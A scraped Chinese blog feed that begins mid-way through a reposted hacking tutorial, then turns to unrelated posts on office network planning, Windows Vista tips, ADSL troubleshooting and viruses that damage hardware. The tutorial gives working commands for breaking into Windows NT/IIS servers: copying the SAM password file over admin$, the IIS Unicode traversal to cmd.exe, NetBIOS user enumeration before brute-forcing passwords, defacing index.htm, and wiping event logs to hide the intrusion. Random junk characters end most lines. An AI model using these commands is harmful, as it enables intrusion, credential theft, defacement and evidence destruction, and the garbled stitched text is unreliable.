如果你要复制到D盘下 把C改为D， 就行了！ =Y:5,.U 
copy index.htm 127.0.0.1d$index.htm DZ F[d xH 
#X j;f^} / 
如果你要把他复制到  WINNT  目录里 YcEtg p z@ 
就要把输入 .59K E]u  
copy index.htm 127.0.0.1admin$index.htm {c&qB`y<.  
admin$是winnt Qo]vpp^[#  
TW'E 99w G 
要把对方的文件复制过来，顺便告诉大家 NT的备份的数据库放在x:winnt epairsam._ sam._是数据库的文件名 )Ix -5 084 
YlZ YS'_  
下面就把127.0.0.1的数据库复制到本地C盘下 mf Wz@= 0 
copy 127.0.0.1admin$ epairsam._ c: c,3'w nui 
这个sam._这明显是NT主机的口令档，如果是win2000机器的口令文件应该是sam #;qF Pj- v 
C g]3(3  
6：set z$I[ kR%I{ 
如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！ 6. `} &E 
*tbpF k4/ 
下面是我得到的结果！我来分析它，只是找主页在那而已。 *1 I D`o 
D 7;~ x]* 
COMPUTERNAME=PENTIUMII l b1 sV 
ComSpec=D:WINNTsystem32cmd.exe 7 Y @=x# 
CONTENT_LENGTH=0 MS YLkQ}_b 
GATEWAY_INTERFACE=CGI/1.1 \3y=0 
HTTP_ACCEPT=*/* g8i B;%6 
HTTP_ACCEPT_LANGUAGE=zh-cn M'! ! E Qo 
HTTP_CONNECTION=Keep-Alive K jc a>/id 
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了 ;x kf ? | 
HTTP_ACCEPT_ENCODING=gzip， deflate 8 Kd cL N@ 
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) V: " \ (Y 
NUMBER_OF_PROCESSORS=1 Yr (f iI 
Os2LibPath=D:WINNTsystem32os2dll; j~ j V`>A 
OS=Windows_NT $HnD| _*  
Path=D:WINNTsystem32;D:WINNT KB-# ):'  
PATHEXT=.COM;.EXE;.BAT;.CMD 3G 0\i!*t  
PATH_TRANSLATED=E:vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:vlroot nQ*o Oxe|X 
PROCESSOR_ARCHITECTURE=x86 .TU1 5AAc 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3， GenuineIntel g}`CdVQ2M< 
PROCESSOR_LEVEL=6 d`*vJ#$> 2 
PROCESSOR_REVISION=0303 wY )GX 
PROMPT=$P$G nsn,8a3 8 
QUERY_STRING=/c+set .j ,&/ y& 
REMOTE_ADDR=XX.XX.XX.XX 7~ g0{W>Zm 
REMOTE_HOST=XX.XX.XX.XX =z dti'2{4 
REQUEST_METHOD=GET >. A:6  
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe L *38T \ 
SERVER_NAME=XX.XX.XX.XX r3 )t5 P*_ 
SERVER_PORT=80 wm4e: &  
SERVER_PORT_SECURE=0 _X/ `4 G 
SERVER_PROTOCOL=HTTP/1.1 T@Xi G:b 7 
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0 P{ o/F  
SystemDrive=D: $Re % + 2c 
SystemRoot=D:WINNT WqO* vK!t 
TZ=GMT-9 j~0hA KHG  
USERPROFILE=D:WINNTProfilesDefault User T ^ -RP 
windir=D:WINNT FK>r c3 q 
YGB|6p(  
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。 ]M.ufbguq 
B; ~T|exu 
7：nbtstat x9a0J1Nb-h 
如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！ Q-AN~k8+)[ 
现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。 } a 8N!g  
命令是 ! 5 pp A  
nbtstat -A XX.XX.XX.XX } pA0 mW9 
-A一定要大写哦。 k9a-\UIMet 
这个我认为大不大写没有太大差别，用处还是一样的。 ="MG>4j3.F 
之后用net use 对方IP 连接一下！ /1Ndir ^c 
net view 对方IP 查看对方共享文件夹 Ym x/N+Jl 
net use X: IP对方共享文件  映*对方共享文件夹成为本机的X盘 .- uH ax0 
这就是139端口的基本用法！不过前提是必须对方开共享！ "p0 e6Z = 
netstat -n看看谁连接你 sBt,y _LW  
h:[% ' htz 
下面是得到的结果。 yp9vgU s  
NetBIOS Remote Machine Name Table r v ouE: 
Name Type Status h 6`v%7H? 
% 0&59q]LM 
Registered Registered Registered Registered Registered Registered Registered Reg "! , )Pv 
istered Registered Registered Registered o=C :=  
MAC Address = 00-E0-29-14-35-BA ] Ub"NLYV 
PENTIUMII <00> UNIQUE Q{= DLm`  
PENTIUMII <20> UNIQUE 4LX C;g Z 
ORAHOTOWN <00> GROUP )6b`1o!7  
ORAHOTOWN <1C> GROUP +k;][VC[ O 
ORAHOTOWN <1B> UNIQUE Y>2oU`ly,  
PENTIUMII <03> UNIQUE JD)wxoe g 
INet~Services <1C> GROUP :Q u.CvYF 
IS~PENTIUMII...<00> UNIQUE 9 Xe|*bT  
ORAHOTOWN <1E> GROUP ,8. z br 
ORAHOTOWN <1D> UNIQUE chu r(@Af 
..__MSBROWSE__.<01> GROUP $- uMWJ)l 
6 ' |NALW 
B g }( Sy 
粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是 <03> 的话，那他前面的就是用户.  这里的用户是PENTIUMII。 -v ~X S- F 
没有03说明:MAC没和IP捆在一起了 *h ~(LH"tN 
&\ Yd)#B/ 
8：Shutdown 6'JP%~QlS 
关了对方的NT服务器的命令 ~f [91m !+ 
Shutdown IP地址 t:20 ppP z I,  
20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。 l|K`'YS!<{ 
Telnet进去用命令或者是本地用什么软件重启对方电脑 `-)F x< e 
shutdown -m 计算机名称 可以远程重起或关闭的 c} g:vh  
/ WI HG0D 
9：DIR >SZ9, K4Gs 
这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。 = xX\z\[ A 
你可以本地试下。 Dq HVc) 9 
p }b TI5 
10：echo ngN_,x 7yc 
著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。 M r( ~ * 
我们假设我们要把"南京大屠杀铁证如山，任何日本人不得抵赖！"写入index.htm，有2种方法，大家看看有什么区别。 Al` [Iu&  
T f"DpA!_  
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm d / ( =q 
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm v mO XB#7W 
g#_?V xt 
第一个的意思是覆盖index.htm原有的内容，把"南京大屠杀铁证如山，任何日本人不得抵赖！"写进index.htm。 i :kWO 7aP 
第二个的意思是把"南京大屠杀铁证如山，任何日本人不得抵赖！"加到index.htm里面。 \Mti LaI " 
u."fJ2}l0X 
">>"产生的内容将追加进文件中，">"则将原文件内容覆盖。 [k'Ph3 3c 
qfSo F | 
这里说明一下，<和>是重定向命令只是一个是输入重定向另一个是输出重定向，比如我们在命令提示符下就会显示c:>这个意思就是把C盘的命令权重定向给我们，同样：也是定向的命令也叫作管道，它是用来连接两个命令的管道，先执行管道左边的命令，再执行管道右边的命令，不过我是没能耐把DOS命令说明白的，想研究就买本dos大全看吧，够看半年的了。 (C- z8R Z6 
j^%i?BW w 
大家可以本地试下。 .89 7Z|$VB 
可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。 $k`8 Zx w 
1、首先，我们需要申请一个免费的主页空间。 ?UfZVyHv+ 
2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。） oX}n"5o : 
open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的） z;/ 'OJ[ . 
cnhack（你申请时的用户名） *(` . h\+ 
test（你申请时的密码） q8h{- ^ " 
get index.htm c:inetpubwwwrootindex.htm（这里是把你空间上的index.htm下载到对方的c:inetpubwwwrootindex.htm） *i{.@RX ? 
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS） 4s j %: 
5dp #\ J@ 
具体的做法： s Oxdq"E 
输入 echo open upload.chinaren.com> c:cnhack.txt 02^(z6K'&? 
输入 echo cnhack >> c:cnhack.txt $ l ;t P 
输入 echo 39abs >> c:cnhack.txt p \_qHq\;j 
输入 echo get index.htm c:inetpubwwwrootindex.htm+>>+c:cnhack.txt J8v :a`bX& 
最后输入 ftp -s:c:cnhack.txt （利用ftp的-s参数，执行文件里的内容。） 8 *#][ wC2 
等命令完成时，文件已经下载到你指定的文件里了。 _Q }RE lA  
HA.NZkq.tV 
注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。） 2 V 2x,! 
记得要 del c:cnhack.txt ~2 A$R'xb 
0o=6 A<#x 
11:attrib k|$"TFXx; 
这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。 ]~ #+ b> 
attrib -r index.htm S1 az3VJI\ 
这个命令是把index.htm的只读属性去掉。 .,ppGc| * 
如果把"-"改为"+"则是把这个文件的属性设置为只读 0[2B Y]`Z. 
;o_V! < $ 
attrib +r index.htm 0\Ep H[m}- 
这个命令是把index.htm的属性设置为只读。 B@" S OX 
i14[3bPLk! 
attrib这个命令先要用来查属性，比如attrib 文件名，这样就显示出这个文件的属性了，它不止有R这个属性，其实一共有四种属性， a 档案属性 r 只读属性 h隐含属性 s系统属性，我们想用哪个就用哪个，我觉得把我们上传的文件加个隐含属性更有意思. 2 ~G ,Ia  
;Pol# 0_ ( 
12:del 5cy ddlaat 
当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。 ;;ED N45 
NT的日志有这些 g\ErJ+ i  
del C:winntsystem32logfiles*.* [ < ]Y +33 
del C:winntssytem32config*.evt =?= )s  
del C:winntsystem32dtclog*.* /Sny nZ.q 
del C:winntsystem32*.log , p_G/ OU 
del C:winntsystem32*.txt sT ) 6nV  
del C:winnt*.txt yc*< :(p 
del C:winnt*.log K a f> 
只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。 !(Q l )C 
Internet信息服务FTP日志默认位置：%systemroot%system32logfilesmsftpsvc1，默认每天一个日志 \E Z+# 3u 
Internet信息服务WWW日志默认位置：%systemroot%system32logfilesw3svc1，默认每天一个日志 Uan ,H1a  
Scheduler服务日志默认位置：%systemroot%schedlgu.txt =O,JAR "ug 
以上日志在注册表里的键： " <* awWNI 
应用程序日志，安全日志，系统日志，DNS服务器日志，它们这些LOG文件在注册表中的： v)):$s?W B 
HKEY_LOCAL_MACHINESystemCurrentControlSetServicesEventlog pc H<g F(k 
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表，里面可查到以上日志的定位目录。 !8 *Mc O I 
Schedluler服务日志在注册表中 $ D'^t( 
HKEY_LOCAL_MACHINESOFTWAREMicrosoftSchedulingAgent K m 3& N 
1 pP 1 d% 
del确实是删除文件用的，log也确实是日志文件类型，不过按上面这种方法是不可能清理掉你自身的日志的，因为系统自动运行着日志记录，你在做这些时它一直都在记录着，并没有停止，大家也会常看到，有时删除某个文件时会提示系统正在占用拒绝删除的，呵呵，这就明白了，系统正在运行的东西已经驻留内存里，当然不能这样删除掉了，大家怕了吧，这样删等于帮别人清理了日志，没删自己那份啊，哈哈哈哈，要问我怎么清理，我只说大家还是用小榕的工具来清吧，那个又快又好，我们何必去用那些烦琐的命令行呢，尤其对生长在windows桌面操作下的人们那显然是太麻烦了，我推荐小榕的elsave工具. }B q^3?,#{ 
] ,lV}Mlg* 
借助第三方工具：如小榕的elsave.exe远程清除system,applicaton,security的软件， [VSU"A J Y 
使用方法很简单，首先利用获得的管理员账号与对方建立ipc会话，net use ip pass /us Ip? ]K*s q 
er: user N[U9d}Z v 
然后命令行下：elsave -s ip -l application -C，这样就删除了安全日志。 ~ }% ~oT  
其实利用这个软件还可以进行备份日志，只要加一个参数 -f filename就可以了，在此不再详述。 -5>NE35Cto 
. (`3JQ2s 
R+= a`0_S  
局域网要别人死机? 他C盘开了共享的话(win98,而且没有打补丁),你在DOS下输入 'B q ZOZw 
他的IP或机器名concon
本篇文章来源于 §★◆黑马王子学习基地◆★§ 转载请以链接形式注明出处 网址：http://www.hmhk.cn/read-htm-tid-7463.html]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211433930 0 http://zjysq1989.blog.163.com/blog/static/3786399620082211433930 Fri, 21 Mar 2008 01:04:33 +0800 2008-03-21T01:04:33+08:00 <![CDATA[中小型办公网络的规划与设计]]> http://zjysq1989.blog.163.com/blog/static/3786399620082190153057

1. 摘要

网络的发展与企业办公的关系，网络在企业办公中的应用。

2. 网络的类型

   网络飞速发展，逐渐走进人们的生活，学习与工作中，总体来分主要有：局域网，城域网，广域网，总线型，环型，星型等。

3. 办公网络所要具有的功能

   共享软硬件资源，节省资金投入

   实现对重要数据的安全管理（备份数据 利用权限管理保证数据的丢失和安全）

 进行网络远程访问  

4.办公网络的特点

具有较高的安全和稳定型

  便于协同工作

  有利于提高工作效率

5. 办公网络的规划图与总体设计

6. 产品的选购（路由器，交换机，服务器，客户机等）指标及特点

  如：防火墙（自身有一定的抗攻击能力，对数据的安全审核，网络的唯一通道等）

7. 办公网络的安全问题

   服务器的安全，客户机的安全，病毒的防止和查杀，黑客的攻击，内部的安全管理等。

8．网络的基本维护

   系统的日常维护，故障排除，配置管理，性能管理，软件及系统的升级等。

]]> http://zjysq1989.blog.163.com/blog/static/3786399620082190153057 0 http://zjysq1989.blog.163.com/blog/static/3786399620082190153057 Wed, 19 Mar 2008 12:15:30 +0800 2008-03-19T12:15:30+08:00 <![CDATA[Windows Vista 系统22类问题解决方法]]> http://zjysq1989.blog.163.com/blog/static/37863996200821901442137

Windows Vista系统发布已经很久了，现在给大家整理一些相关的问题。

1.如何关闭UAC?

控制面板→用户帐户→打开或关闭用户帐户控制→取消使用用户帐户控制(UAC)帮助保护您的计算机。

2.如何关闭系统备份与还原?

控制面板→备份和还原中心→创建还原点或更该设置→系统保护→自动还原点→取消已经选中的磁盘上的还原点。

3.为什么在某个固定的时间会出现狂读硬盘的现象?

这是因为Vista自动执行磁盘碎片整理计划的缘故，关闭的方法是通过开始菜单→附件→系统工具→磁盘碎片整理程序→取消“按计划运行(推荐)”

4.如何关闭计算机进入休眠状态?

桌面右键→个性化→屏幕保护程序→更改电源设置→更改计算机的睡眠时间→使计算机进入睡眠状态设为从不。

5.开始菜单电源按钮默认设定为“休眠”，如何更改为“关机”?

控制面版→电源选项→选中的“首选计划”→更改计划设置→更改高级电源设置，在弹出的设置窗口中找到“电源按钮和盖子”→“开始”菜单电源按钮→设置→关机，确定即可完成设置。

6.每次开机时在安全中心都会提示，如何关闭这个提示信息?

控制面板→安全中心→更改安全中心通知我的方法→选择不通知我，但显示图标。

7.如何在非传统开始菜单中显示运行命令?

任务栏和开始菜单属性→开始菜单→自定义→选中“运行命令”。

8.如何取消每次开机的默认共享?

将下列内容导入注册表，重启即可(前提是要关闭UAC)。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanserverParameters]

AutoShareWks=dword00000000

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]

restrictanonymous=dword00000001

9.如何实现自动登录?

开始→运行→输入“rundll32 netplwiz.dll,UsersRunDll”命令打开帐户窗口，先选中要自动登录的帐户，去选“要使用本机，用户必须输入用户名密码”复选框，输入该帐户的密码即可(前提是要关闭UAC)。

10. 如何更改媒体文件使用WMP以外的播放器播放?

选中媒体文件→右键菜单→打开方式→选择默认程序→选择播放程序→选中“始终使用选择的程序打开这种文件”。

11. 为何我无法实现局域网互访?

从以下几个方面入手：

本地连接→右键属性→取消Internet协议版本6，缩短验证时间。

检查机器工作组名称是否一致。

检查机器IP是否在同一网段，如192.168.1.X。

将网络和共享中心→网络连接→自定义→位置类型设置为专用，降低保护。

12.开启ICF后局域网内机器如何实现互访?

Windows防火墙取消阻止所有传入连接，并在“例外”中选中“文件和打印机共享”。

13.如何实现用管理员(Administrator) 账户登陆?

计算机→管理→本地用户和组→用户→Administrator账户→属性→取消账户已禁用选项，当前使用账户→属性→选中账户已禁用选项。

14. 打开控制面板报错“Windows资源管理器已经停止工作”，要如何修复?

硬件驱动冲突，可能和声卡驱动有关，尝试重新安装声卡驱动。

15. 如何快速复制文件、文件夹路径?

按Shift键，右键需要复制路径的文件、文件夹或快捷方式等，在弹出菜单里面有一项复制为路径(A)，点击后可复制该文件、文件夹路径。

16. 如何察看系统许可信息?

运行slmgr.vbs -dlv。

17. 文件反向选择的快捷键是什么?

ALT+E弹出菜单后按I。

18.如何更改桌面上的图标的大小?

Ctrl+鼠标滚轮或者桌面右键→查看→经典图标。

19.如何使用3D方式切换程序?

在开启Aero外观的情况下，使用Win(视窗键)+Tab可以使用3D方式切换程序，Win(视窗键)+Ctrl+Tab可以使程序3D窗口暂时停留在桌面上。

20.如何设置IE浏览器代理?

打开IE工具栏的Internet选项→连接→拨号和虚拟专用网络设置中选中您的拨号连接→设置，在“设置”页面中，选中“对此连接使用代理服务器”然后在“地址”栏中填上代理服务器地址和端口，单击“确定”。

21. 如何查看某个进程的PID值?

任务管理器→查看→选择列中可以进行选择。

22. 如何实现退出系统时清除最近打开的文档的历史?

运行gpedit.msc，用户配置→管理模板→『开始』菜单和任务栏→退出系统时清除最近打开文档的历史，设为已启用就可以了。

]]> http://zjysq1989.blog.163.com/blog/static/37863996200821901442137 0 http://zjysq1989.blog.163.com/blog/static/37863996200821901442137 Wed, 19 Mar 2008 12:14:42 +0800 2008-03-19T12:14:42+08:00 <![CDATA[ADSL宽带的经典解决方案]]> http://zjysq1989.blog.163.com/blog/static/3786399620082190753645

随着ADSL宽带接入技术的成熟，各种全新的技术应用已经深入到千家万户，由此引发的故障也随之而来。下面，笔者将维护过程中遇到的几则ADSL宽带经典故障分享给大家，希望能够给ADSL用户一定的帮助。　　　

　　一、拨号时出现678错误 　　　　

　　帮障表现：Windows XP SP2操作系统，ADSL虚拟拨号用户。点击“宽带连接”时出现678错误。按照故障代码，是ADSL宽带帐号或密码错误故障。可是，在宽带客服帮助下更换了ADSL帐号的密码之后，故障依旧存在。 　　

　　ADSL拨号连接 　　

　　故障解析：按照系统给出的错误代码，可以得知这是ADSL宽带用户名或密码错误引发的故障。按照错误代码提示，找宽带客户服务中心重新设置了ADSL密码之后，故障仍然没有解决，这证明ADSL帐号和密码存在异常问题。通常情况下，引起ADSL帐号和密码异常的情况主要有以下几个： 　　

　　① 帐号被锁定：目前，一些省市的ADSL拨号服务器都进行了升级，为了帐号被盗用，很多地方的拨号服务器都开启了帐号锁定功能。为了方便ADSL用户，很多宽带运行商都提供了宽带自助服务，用户可以自行修改ADSL宽带接入帐号的密码，系统一旦检测到用户不是使用自己的ADSL帐号登录时，会自动将该帐号进行锁定。除此之外，有人尝试对ADSL帐号和密码进行暴力破解时，系统也会锁定该ADSL宽带接入帐号。 　　

　　用户可以等待系统自己解锁，或者找宽带运行商手动解锁。帐号被锁定后，用户输入正确的用户名密码也无法连接，这时会出现678的错误提示。 　　

　　② 用户名和密码错误：当输入了不正确的ADSL帐号和密码时，系统也会出现678的错误提示。

　　③ 帐号被盗用：一些地区的ADSL帐号没有与固定电话进行捆绑，ADSL帐号一旦被盗用，用户再拨号时，也会出现678的错误提示。　　

　　当ADSL拨号出现678的错误代码时，要根据情况分析一下到底是什么原因导致宽带无法成功连接。找宽带客服重新设置了密码之后，故障仍然没有解决，故障的真正原因只能是帐号被盗用或帐号被锁定。由于本地的ADSL帐号和固定电话已经做了捆绑，看来，故障原因只能是ADSL帐号被锁定了。重新找宽带客服，将帐号解锁之后，故障解除。 　　　

　　故障点评：当ADSL宽带出现故障时，不要一味轻信系统给出的错误提示，要把出现该错误的所有可能都列出来，然后逐一排除，这才是解决问题的最佳途径。　　

　　二、ADSL宽带线路无法激活 　　

　　故障表现：刚刚申请的ADSL宽带，Modem加电后发现线路无法激活，有时线路激活了却无法保持，与ADSL线路配套的电话接听正常。 　　

　　故障解析：ADSL宽带Modem回电后无法激活，或者是无法长时间激活，这证明ADSL线路质量有问题，由于ADSL宽带与语音通讯不在同一频段，语音通讯正常，可以证明用户家中的物理线路是正常。唯一的可能是宽带运营商局端机房的线路接触不良，导致ADSL线路无法正常激活。 　　

　　代表ADSL线路是否激活的Link指示灯 　　

　　在用户端，ADSL滤波器承载了将语音信号和数据信号分离的任务，而在宽带运营商的机房，也有同样的设备，负责将ADSL用户的语音和数据信号隔离，这就是DSLAM节点的作用。DSLAM是位于宽带运营商的中央交换局端模块中心位置的ADSL Modem和接入多路复合系统，处于中心位置的ADSL Modem被称为ATU－C（ADSL Transmission Unit－Central）。DSLAM节点的作用，是负责将数据信号和语音信号分别送到不同的交换设备，这意味着在宽带运营商的机房中，用户拥有独立的数据线路和语音线路。为此，用户端的ADSL线路无法激活，可以初步判断是局端的线路问题。 　　　

　 由于该用户的ADSL线路偶尔可以激活，证明宽带运营商的局端机房线路有氧化，而且氧化不太严重。拿起电话听筒，反复几次，电流可以把氧化层击穿。反复摘起电话的听筒之后，ADSL线路激活了，进入Modem的配置界面检测，发现速率正常，至此，故障完全解决。 　　　　

　 故障点评：从表面看，ADSL宽带接入技术是一门非常简单，而且技术含量非常低的技术。殊不知，ADSL虽然是附加在电话线钢缆上的宽带接入技术，其实要想快速、准确的解决ADSL宽带故障，一定要了解ADSL宽带的接入层技术，只有这样，判断故障才会准确到位，处理时也不会走弯路。

 

三、MSN视频无法连接 　　

　　故障表现：购买路由器共享上网之后，MSN的视频总是无法连接，每次通过MSN发起视频连接，最后都以失败而告终。　

　　故障解析：在没有出现MSN视频无法连接的故障之前，该用户是直接拨号上网的，由于新增一台笔记本，只能购买无线路由器共享上网。使用路由器之前，用MSN发起视频连接很正常，安装了路由器之后，无论是台式机，还是新购买的笔记本，都无法与MSN上的好友进行视频聊天。看来，故障的症结是路由器。 　　

　　增加了路由器之后，唯一的改变就是，机器处在内网，一些软件的应用环境肯定会受到影响。经过测试后发现，受影响的仅仅是MSN的视频聊天功能，QQ及其他一些即时通讯软件的视频聊天功能没有受到影响，这意味着故障根源还是MSN聊天软件。 　　　

　　在网上查阅资料后发现，由于MSN语音传送的特殊性，除了用UPnP路由外，即使进行端口映射也不能实现语音通信。显然我们在自组局域网中，不打开路由器的UPnP功能是无法对外实现语音聊天的。要想解决此故障，让MSN也可以在局域网中聊天，必须启用路由器中的UPNP功能。 　　

　　启用UPnP功能 　　

　　进入无线路由器的管理界面，在“转发规则”中，找到“UPnP设置”，启用UPnp转发就可以了。然后，局域网中的每台机器都可以用MSN视频聊天了。 　　

　　故障点评：从表面看，安装了路由器之后，MSN的视频聊天功能便受到了限制，这似乎是路由器引发的故障。如果一味把故障的对于这样的故障，一定要了解MSN视频聊天所需要的网络环境，查找故障原因要彻底，而不是停留在表面。　　

　　四、ADSL宽带无规律的掉线 　　

　　故障表现：一台刚刚购买的品牌机，申请了宽带之后，在使用过程中，发现宽带连接经常会自动断开，重新拨号即可恢复正常。掉线后，观察Modem指示灯的状态，发现断线的过程中，ADSL线路始终是激活的。 　　

　　故障解析：ADSL宽带掉线时，线路始终是激活状态，这表明用户的宽带线路没有任何问题。由于是无规律的掉线，可以初步断定为用户操作系统或者设置不当引发的故障。使用杀毒软件对计算机的各个硬盘分区进行扫描，没有发现任何病毒。检查网卡的各项设置也一切正常，难道是Windows XP操作系统自带的拨号软件的问题。在网上下载了Ethernet 500拨号软件，安装之后，仍然出现无规律的掉线故障。 　　

　　专用的接地插座 　　

　　既然不是操作系统和软件设置的问题，难道是网卡与宽带Modem的兼容问题？打开机箱，准备更换一块网卡，意外的发现机箱上居然有很大的静电，这有可能引发ADSL宽带无规律掉线的真正凶手。由于大量静电的存在，可能会影响网卡与宽带Modem的通讯，一旦网卡与宽带Modem的通讯受到影响，ADSL拨号服务器会默认用户已经下线，自动挂断用户的拨号连接。虽然是品牌机，却没有完善的接地措施，无奈之下，只能在机箱螺丝上拧上一根地线，然后接到暖气管道上。自己的接地措施安装完成后，再拨号上网，故障解除。 　　

　　故障点评：由于ADSL工作在一个相对复杂的环境中，一些因素将会影响ADSL宽带的正常工作。对于这样的故障，只能是逐一排除，一层一层剖析才可以解决。处理类似的故障，切记不要贪图速度，而盲目的猜测，要有步骤的解决此类问题。 　　

　　五、结束语： 　　

　　随着ADSL接入技术的成熟，一些全新的技术都开始运用，一些不恰当的使用方法必然会产生一些疑难故障。另外，越来越复杂应用环境也会衍生一些疑难杂症，想在迅速、准确的处理这些宽带故障，一定要掌握最新的ADSL宽带接入技术，否则，面对这些疑难故障将如同瞎子寻路。

]]> http://zjysq1989.blog.163.com/blog/static/3786399620082190753645 0 http://zjysq1989.blog.163.com/blog/static/3786399620082190753645 Wed, 19 Mar 2008 12:07:53 +0800 2008-03-19T12:07:53+08:00 <![CDATA[不可不留神 病毒损坏硬件有七大损招]]> http://zjysq1989.blog.163.com/blog/static/3786399620082190651876

CIH病毒把大家搞得人心惶惶，掀起了不小的波澜。以前的各种病毒最多只能破坏硬盘数据，而CIH却能侵入主板上的Flash BIOS，破坏其内容而使主板报废。CIH的教训告诉我们：不要轻视病毒对硬件的破坏。　　CIH病毒把大家搞得人心惶惶，掀起了不小的波澜。以前的各种病毒最多只能破坏硬盘数据，而CIH却能侵入主板上的Flash BIOS，破坏其内容而使主板报废。CIH的教训告诉我们：不要轻视病毒对硬件的破坏。很多人现在已经开始担忧：CIH越来越凶猛，同时会不会有更多的破坏硬件的病毒出现？其实，本人分析了一下。病毒破坏硬件的“手段”，不外乎有以下几种：

　　1.破坏显示器

　　众所周知，每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器，带宽大都有60MHz，对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的)，带宽有110MHz，对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书，上面都有场频与最高分辨率的配合。若其中有一项超过，就会出现花屏，严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络，但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏，要立即关掉显示器的电源，重新启动后进入安全模式再找原因。

　　2.超外频、加电压破坏CPU、显卡、内存等

　　目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数，加高CPU电压使其过热而烧坏，或提高CPU的外频，使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以，如果发现机器经常死机，就要赶紧到CMOS中看看以上参数是否有改动。可喜的是，目前很多主板都有CPU温度监测功能，超温后立即降频报警，可以基本杜绝烧坏硬件的情况发生。

　　3.超“显频”破坏显卡

　　目前很多中高档显卡等都可以手动改变其芯片的频率，并且改的方法更简单：在 Windows注册表里改。病毒改动了“显频”，显卡也就容易超负荷工作而烧坏。这种事件的前兆也是死机。所以，死机时也不要忽视对“显频”的检查。

　　4.破坏光驱

　　光驱中的光头在读不到信号时就会加大激光发射功率，这样长期下去对光驱的寿命极为不利。有人做实验，让正常的光驱不停的读取一张划痕很多，信号较弱的光盘，28小时以后光驱就完蛋了。病毒可以让光头走到盘片边缘无信号区域不停的读盘，结果光头读不到信号，便加大发射功率不停地读，要不了几天，光驱就要“No Disc”了。所以要经常注意光驱灯的闪亮情况，判断光驱是否在正常工作。

　　5.破坏主板、显卡的Flash BIOS

　　这就是现在的CIH病毒破坏主板的方式。病毒用乱码冲掉了BIOS中的内容，使机器不能启动。不过现在很多主板都有带有Flash BIOS写保护跳线，可以有效的防止CIH病毒破坏主板。但是不要忘了，很多显卡也有Flash BIOS，说不定哪一天就会冒出一种破坏显卡BIOS的病毒。所以还是小心一点为好。

　　6.破坏硬盘

　　大家都知道，分区、高级格式化对硬盘都没有什么损伤，惟独低级格式化对硬盘的寿命有较大的影响。据说硬盘做上10次低级格式化就会报废。如果出现一种病毒，不停的对硬盘的0磁道做低格式化(做10次最多只需用几秒钟!)，0道坏了再做1道……你的硬盘容量就会一点一点(这一点好不小啊!)地被蚕食，而且0、1、2……道坏了，要想再使用该硬盘，就得在BIOS中重新设定起始磁道，再低级格式化，非常麻烦。

　　其实，该病毒有一个非常简单而有效的预防方法，那就是将BIOS中的Boot SectorVirus Protection(引导区病毒写保护)设为Enable(打开)。笔者做过实验，将上述开关打开的情况下，使用各种低级格式化软件(包括BIOS中自带的)对硬盘进行低格，BIOS都会报警(报告说有程序企图重写引导区，问是否继续)，按N就可以防止。要知道BIOS程序掌管着系统的最高控制权，应该没有什么东西可以冲破其防线(你按Y是另外一回事)。若发现上述情况，赶紧Reset，然后进行杀毒不过，